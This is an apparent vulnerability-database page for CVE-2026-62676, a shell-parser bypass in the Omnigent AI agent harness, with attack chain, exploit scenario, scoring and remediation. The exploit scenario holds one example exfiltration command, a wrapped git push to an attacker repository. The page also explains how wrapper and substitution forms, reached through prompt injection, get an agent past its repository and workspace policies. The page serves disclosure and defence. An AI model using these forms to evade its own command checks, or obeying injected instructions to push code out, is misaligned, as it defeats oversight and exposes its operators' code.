Skip to main content

Omnigent EUVDEUVD-2026-64014

| CVE-2026-62676 HIGH
Incomplete List of Disallowed Inputs (CWE-184)
2026-08-21 GitHub_M GHSA-7mqg-cx4g-x2rf
7.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege agent session or inject malicious prompt
  2. Delivery
    Craft shell command wrapping git push with timeout/nice/stdbuf or command substitution
  3. Exploit
    Parser extracts no recognized tokens from obfuscated command
  4. Execution
    Repository allowlist and workspace confinement policies abstain, command permitted
  5. Persist
    Execute git push to attacker-controlled or unauthorized repository
  6. Impact
    Exfiltrate proprietary code or insert malicious commits to protected branch

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
Exploitation Conditions

Exploitation requires one of two initial access conditions: (1) authenticated low-privilege access to an Omnigent agent session (consistent with CVSS PR:L), or (2) successful prompt injection into an agent's instruction stream via untrusted content the agent processes (e.g., a malicious repository file, issue body, or web page). Beyond access, the targeted deployment must have GitHub write credentials (a token with push scope) present in the agent's execution environment - without these, a git push cannot succeed regardless of the parser bypass. The github.py or working_dir.py policies must be active; deployments that have disabled these specific policy modules are not protected by the patch but are also not relying on the bypassed gate. Exploitation is limited to omnigent versions below 0.3.0. The CVSS vector (AC:L) confirms no race condition, special timing, or environmental prerequisite beyond the above; the attack is repeatable without special setup once access is established.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, score 7.1) reflects network-accessible exploitation requiring only low-privilege agent credentials with no user interaction and low complexity - a combination that warrants prompt action. The High confidentiality impact captures workspace escape and exposure of repository contents; however, the I:L metric arguably understates the real integrity risk, since unauthorized pushes to production branches can introduce malicious commits affecting downstream consumers in a supply-chain manner not fully captured by S:U. No CISA KEV listing and no public exploit code exist at time of analysis, so broad opportunistic exploitation is not confirmed; EPSS data was not provided. The realistic threat is concentrated in CI/CD pipelines and autonomous coding agent deployments that run Omnigent with GitHub write tokens - any such team, whether a startup or a mid-sized enterprise, should treat this as a priority upgrade rather than a deferred patch given the AC:L score and the straightforward derivability of bypass payloads from the public advisory. Prompt injection as the initial access vector elevates concern for externally-facing agent deployments where untrusted content can reach the agent's instruction stream.

Exploit ScenarioDerived

An attacker with a low-privilege Omnigent agent session - or the ability to inject malicious instructions into an agent's prompt via untrusted input (e.g., a poisoned code file the agent reads) - submits a shell command of the form 'timeout 30 git push attacker-org/exfil-repo main'. The parser encounters 'timeout', does not recognize it as a flag-bearing wrapper requiring the duration '30' to be skipped, interprets '30' as the command token, finds no match, and returns no parsed operation; both the repository allowlist and workspace confinement policies abstain. The underlying shell executes the push, transferring repository contents to an attacker-controlled destination. No public proof-of-concept code has been identified, but the bypass forms are directly described in the vendor advisory GHSA-7mqg-cx4g-x2rf.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 21, 2026

Shell-command parser bypass in Omnigent's policy layer allows an authenticated or prompt-injected agent to push code to unauthorized GitHub repositories or escape workspace confinement in all versions prior to 0.3.0. The parser in omnigent/policies/builtins/_shell.py fails to extract the real command when it is wrapped with process utilities (timeout, nice, setsid, stdbuf), combined interpreter flags (bash -lc), command substitutions ($(...) or backticks), or the background operator - returning no recognized tokens, causing both the github.py repository/branch allowlist and working_dir.py workspace confinement policies to abstain and implicitly permit the command. No public exploit code has been identified and no CISA KEV listing exists, but the bypass technique is directly derivable from the published advisory and PR diff.

RemediationAI

The primary fix is to upgrade to Omnigent 0.3.0, released at https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0 and patched via commit 1a05b7b139ef504bf2be89bf37918abe104fb95c (PR #389). The 0.3.0 release rewrites the shell parser to correctly handle all identified bypass forms. If immediate upgrade is not feasible, operators should remove GitHub write credentials (tokens with push access) from agent execution environments entirely - agents lose legitimate push capability but the unauthorized push vector is eliminated. As a second-tier compensating control, restrict the agent's working directory to a read-only bind mount where the filesystem allows it; this limits workspace escape impact but does not address the GitHub policy bypass. Both workarounds reduce agent functionality and should be treated as temporary measures pending upgrade. The vendor advisory at https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf should be monitored for any additional guidance.

Affected VersionsENISA

omnigent < 0.3.0

Affected Packages

pypi omnigent fix: 0.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Omnigent is a Python-based open-source AI agent meta-harness (CPE: cpe:2.3:a:omnigent-ai:omnigent:*:*:*:*:*:*:*:*) that orchestrates coding agents and enforces security policies on shell commands before execution. The policy enforcement chain depends on the shared parser in omnigent/policies/builtins/_shell.py to extract 'real invocation tokens' - stripping env-var assignments, simple wrappers like sudo, and other prefixes - so that downstream policies (github.py for repo/branch allowlists, working_dir.py for workspace confinement) can identify and gate the actual command (e.g., git push). CWE-184 (Incomplete List of Disallowed Inputs) is the root cause: the parser's real_invocation_tokens() function did not account for (1) flag-bearing process wrappers - timeout, nice, stdbuf - whose own option flags or duration positionals (e.g., 'timeout -s KILL 5m git push') left those tokens as the apparent first command rather than git; (2) shell interpreters invoked with combined flags (bash -lc 'git push ...'), where -lc was not matched against the interpreter flag pattern; (3) command substitutions in either $(...) or backtick form, where the substitution body executes as a command but the outer token appeared to be a benign assignment; and (4) the & background operator. In all these forms the parser returned an empty or incorrect token list, causing both policy engines to abstain - defaulting to allow. The fix in PR #389 introduces _FLAG_WRAPPERS and _DURATION_WRAPPERS dictionaries, a _INTERPRETER_C_FLAG regex for combined-flag detection, and a new _extract_command_substitutions() function with balanced-paren scanning for nested substitutions, plus recursive parsing of substitution bodies as independent segments.

Know when Omnigent gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
vuln.today AI 8.1 HIGH

Unauthorized commits to production repositories constitute High integrity impact; PR:L reflects required agent session; no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Aug 21, 2026 - 18:01 EUVD
CVE Published
Aug 21, 2026 - 17:42 cve.org
HIGH 7.1

DescriptionCVE.org

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.

Executive ViewAI

Why It Matters

Omnigent prior to version 0.3.0 contains a parser bypass allowing attackers to circumvent security policies and push malicious code to GitHub repositories or escape sandbox containment, creating supply chain and data exfiltration risks. The bypass can be exploited by authenticated users or through prompt injection of agents. No public exploit code has been identified at time of analysis, though the technique is derivable from published advisories.

Business Impact: High
Compensating Controls

Apply vendor patch: Omnigent version 0.3.0 or later. Until patched, restrict Omnigent agent GitHub token permissions to the minimum required repositories and branches, enforce workspace-level file access restrictions, and enable command logging and alerting for suspicious process utilities (timeout, nice, setsid, stdbuf) combined with command substitution patterns.

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Rare
nascent open-source AI agent framework, limited enterprise adoption
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy